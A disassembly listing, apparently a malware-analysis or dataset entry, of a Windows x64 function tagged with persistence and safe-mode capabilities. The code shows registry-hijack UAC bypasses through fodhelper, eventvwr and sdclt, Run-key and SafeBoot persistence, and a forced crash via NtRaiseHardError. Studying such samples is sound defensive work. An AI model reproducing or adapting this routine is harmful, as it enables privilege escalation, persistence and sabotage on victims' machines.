Function at 0x140001000
Capabilities:
Create process on windows
Manipulate safe mode programs
Persist via app paths registry key
Persist via default file association registry key
Persist via run registry key
Self delete
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareClassesms_settings_shellopencommand
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
xor ebx, ebx
lea rdi, str..0000FF.exe
lea rsi, [0x1400032dc]
test eax, eax
jne 0x1400010dd
mov rcx, qword [rsp + 0x30]
lea r9d, [rbx + 1]
mov dword [rsp + 0x28], 0xd
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
lea r9d, [rbx + 1]
xor r8d, r8d
mov dword [rsp + 0x28], 1
lea rdx, str.DelegateExecute
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r9d, r9d
mov dword [rsp + 0x28], ebx
lea r8, str.fodhelper.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareClassesmscfile_shellopencommand
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x140001149
mov rcx, qword [rsp + 0x30]
lea r9d, [rax + 1]
mov dword [rsp + 0x28], 0xd
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r9d, r9d
mov dword [rsp + 0x28], ebx
lea r8, str.eventvwr.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionApp_Pathscontrol.exe
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1400011b5
mov rcx, qword [rsp + 0x30]
lea r9d, [rax + 1]
mov dword [rsp + 0x28], 0xd
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r9d, r9d
mov dword [rsp + 0x28], ebx
lea r8, str.sdclt.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8d, 0x104
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov rbx, 0xffffffffffffffff
test eax, eax
jne 0x140001233
lea rcx, [rsp + 0x40]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x1400011f4
mov rcx, qword [rsp + 0x30]
lea rdx, str.MyProgram
inc eax
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r8d, 0x104
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000002
lea rdx, str.SYSTEMCurrentControlSetControlSafeBootMinimalMyService
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea rdi, str.Service
test eax, eax
jne 0x1400012cf
mov rcx, qword [rsp + 0x30]
lea r9d, [rax + 1]
mov dword [rsp + 0x28], 8
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x40]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x140001294
mov rcx, qword [rsp + 0x30]
inc eax
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rsp + 0x40]
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000002
lea rdx, str.SYSTEMCurrentControlSetControlSafeBootNetworkMyService
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x14000134e
mov rcx, qword [rsp + 0x30]
lea r9d, [rax + 1]
mov dword [rsp + 0x28], 8
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rax, [rsp + 0x40]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001313
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x40]
inc ebx
mov r9d, 1
mov dword [rsp + 0x28], ebx
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtRaiseHardError
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rdi, rdi
je 0x1400013bf
test rax, rax
je 0x1400013bf
xor r8d, r8d
lea r9, [rsp + 0x38]
mov dl, 1
lea ecx, [r8 + 0x13]
call rdi
lea rax, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc000007b
call rbx
xor eax, eax
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.140001400
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret